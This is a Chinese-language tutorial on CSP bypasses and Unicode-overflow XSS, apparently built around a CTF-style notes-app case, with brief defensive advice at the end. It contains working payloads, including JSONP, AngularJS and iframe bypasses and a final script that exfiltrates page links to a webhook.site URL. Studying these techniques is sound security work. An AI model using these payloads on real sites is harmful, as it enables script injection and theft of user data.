XSS防御-揭秘Unicode溢出与CSP Bypass
字数 1354 2025-08-29 08:30:12
Unicode溢出与CSP Bypass技术详解
0x00 前言
内容安全策略(CSP)是一种重要的网页安全机制,用于定义网页可以加载和执行哪些资源。本文将从CSP基础开始,深入探讨Unicode溢出原理及其在XSS防御绕过中的应用,最后结合实战案例展示如何利用这些技术绕过现代Web安全防护。
0x01 CSP基础与Bypass技术
CSP指令详解
- script-src: 指定允许的JavaScript源
- default-src: 默认资源获取策略
- child-src: 指定子资源使用策略
- frame-src: 限制可作为框架调用的URL
- frame-ancestors: 指定页面可被嵌入的源
- img-src: 定义图像加载源
- object-src: 定义对象、嵌入和小部件的允许源
- base-uri: 定义元素允许加载的URL
- sandbox: 创建资源沙盒环境
CSP指定值
*: 允许除data:、blob:、filesystem:外的任何URLnone: 禁止加载任何源self: 仅允许同源资源data: 允许数据URI方案unsafe-eval: 允许eval()等动态代码执行unsafe-hashes: 启用特定内联事件处理程序unsafe-inline: 允许内联资源nonce: 基于随机数的内联脚本白名单sha256-<hash>: 基于哈希值的脚本白名单
常见CSP绕过技术
1. JSONP滥用
当CSP允许特定外部域时:
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://www.google.com https://accounts.google.com;">
可利用回调接口绕过:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(/xss/)"></script>
2. object-src/default-src缺失利用
当缺少这些限制时,可利用Flash对象攻击(已过时):
<object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(/xss/)}//'>
<param name="AllowScriptAccess" value="always">
</object>
3. AngularJS利用
当CSP允许AngularJS时:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div data-ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(/xss/);//');}}</div>
4. iframe绕过
利用srcdoc属性:
<iframe srcdoc='<script src="data:text/javascript,alert(/xss/)"></script>'></iframe>
0x02 Unicode溢出原理
Unicode溢出发生在服务器尝试将Unicode字符存储在单字节中。由于字节最大值为255,构造特定Unicode字符可导致溢出生成目标ASCII字符。
Unicode溢出示例
const content = Buffer.from("57C8","base64").toString("ascii")
console.log(content) // 输出"<"字符
JavaScript中的fromCharCode()也存在类似溢出问题,仅支持0-0xFFFF范围,输入更大值会导致溢出。
Unicode溢出字符查询
专业查询工具:Shazzer Unicode Table
示例溢出字符对:
氼氼→<夾→>
0x03 实战案例解析
漏洞场景
/create端点:使用DOMPurify过滤XSS/note端点:使用ASCII处理字符串,存在Unicode溢出漏洞
攻击步骤
- 构造基本XSS Payload
氼氼script src="https://www.example.com"夾alert(1);//氼氼/script 夾
- 绕过CSP限制
利用/redirect接口和AngularJS组件:
氼氼script src="http://localhost:3000/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js" 夾 //氼氼/script 夾
<div data-ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
- 完整攻击Payload
氼氼script src="http://localhost:3000/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js" 夾 //氼氼/script 夾
<div data-ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };
fetch(`http://localhost:3000/`).then(res=>res.text()).then(data=>{
const parser = new DOMParser();
const doc = parser.parseFromString(data, "text/html");
const links = Array.from(doc.querySelectorAll("a")).map(a => a.href);
const encodedLinks = btoa(unescape(encodeURIComponent(JSON.stringify(links))));
return fetch("https://webhook.site/5b154691-3fdb-46b8-980b-735e19b081f2?ans=" + encodedLinks, {
method: "GET",
mode: "no-cors"
})});//');}}</div>
防御建议
- 统一字符编码处理,避免混合编码
- 严格限制重定向功能
- 谨慎评估第三方库风险
- 实施完整的CSP策略,避免关键指令缺失
- 定期更新XSS过滤库